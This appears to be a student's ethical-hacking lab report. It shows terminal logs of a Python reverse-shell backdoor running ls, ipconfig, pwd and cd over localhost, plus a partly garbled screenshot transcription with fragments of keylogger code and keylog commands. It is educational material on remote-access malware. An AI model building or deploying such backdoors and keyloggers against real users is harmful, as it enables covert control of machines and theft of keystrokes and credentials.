

## Final Project

1. Run the two programs
2. Enter 'ls' on the server
3. What is the output you are getting from the backdoor? (attach screenshot below):

```
PS F:\cis4221_ethical_hacking_and_penetration_testing\cis4221_labs\final_project> python3 .\server.py
connected
listening For target connection ...
[+] ('127.0.0.1', 51982) connected
command received: ls
* Shell~127.0.0.1: ls
output: final_project
lab_10
lab_11
lab_12
README.md
* Shell~127.0.0.1: 
```

The left panel is our backdoor showing that we received the ls command entered into the server on the right.

4. Enter 'ipconfig' on the server
5. What is the output you are getting from the backdoor? (attach screenshot below):

```
PS F:\cis4221_ethical_hacking_and_penetration_testing\cis4221_labs\final_project> python3 .\server.py
connected
listening For target connection ...
[+] ('127.0.0.1', 60610) connected
command received: ipconfig
* Shell~127.0.0.1: ipconfig
output:
Windows IP Configuration

Ethernet adapter Ethernet:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : attlocal.net

Ethernet adapter VirtualBox Host-Only Network:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::...
    IPv4 Address. . . . . : 192.168.1.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :

Wireless LAN adapter Local Area Connection* 1:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Wireless LAN adapter Local Area Connection* 10:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Ethernet adapter VMware Network Adapter VMnet1:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::...
    IPv4 Address. . . . . : 192.168.1.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :

Ethernet adapter VMware Network Adapter VMnet8:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::...
```

The server on the right shows network data returning from the ipconfig(ifconfig) command.

6. Enter 'pwd' on the server
7. What is the output you are getting from the backdoor? (attach screenshot below):

```
PS F:\cis4221_ethical_hacking_and_penetration_testing\cis4221_labs\final_project> python3 .\server.py
connected
listening For target connection ...
[+] ('127.0.0.1', 59376) connected
command received: pwd
* Shell~127.0.0.1: pwd
output: /cygdrive/f/cis4221_ethical_hacking_and_penetration_testing/cis4221_labs
* Shell~127.0.0.1: 
```

The server on the right shows the path of the folder above the backdoor script.

10. What is the output you are getting from the backdoor? (attach screenshot below):

```
PS F:\cis4221_ethical_hacking_and_penetration_testing> python3 .\server.py
connected
listening for target connection ...
command received: pwd
[+] ('127.0.0.1', 59376) connected
command received: cd ..
* Shell-127.0.0.1: pwd
command received: pwd
output: /cygdrive/f/cis4221_ethical_hacking_and_penetration_testing/cis4221_labs

* Shell-127.0.0.1: cd ..
output: F:\cis4221_ethical_hacking_and_penetration_testing
* Shell-127.0.0.1: pwd
output: /cygdrive/f/cis4221_ethical_hacking_and_penetration_testing

* Shell-127.0.0.1:
```

14. Attach screenshots of key dumps below:

```
10 k = k.replace("Key.enter" PS F:\cis4221_ethical_hacking_and_penetration_testing\cis4221_labs\final_project> python3 .\server.py
11 k = k.replace("Key.shift" listening For target connection ...
12 k = k.replace("Key.space" +] ('127.0.0.1', 53551) connected
13 k = k.replace("Key.caps_l * Shell-127.0.0.1: keylog_start
14                               output: started
15                               * Shell-127.0.0.1: dump
16                               output: 'dump' is not recognized as an internal or external command,
17                               file.write(k) operable program or batch file.
18                               file.write('\n')
19                               file.close()
20                               #start logging keys
21                               def start(self):
22                                   with Listener(on_press=Ke
23                                       self.listener.join()
24                                   t
25                                   h
26                                   s
27                                   #returns keystrokes as a stri
28                                   def readkeys(self):
29                                       with open('keys.txt', 'r'
30                                       return file.read().rs
31                                   a
32                                   r
33                                   e
34                                   #stop recording keystrokes
35                                   def self_destruct(self):
36                                       self.listener.stop()
37                                   n
38                                   o
39                                   r
40                                   m
41                                   a
42                                   l
43
44 PROBLEMS 4 OUTPUT DEBUG CONSOLE TERM
45
46 PS F:\cis4221_ethical_hacking_and_penetra
47 connected
48 command received: keylog_start
49 command received: dump
50 command received: keylog_dump
51 command received: keylog_stop
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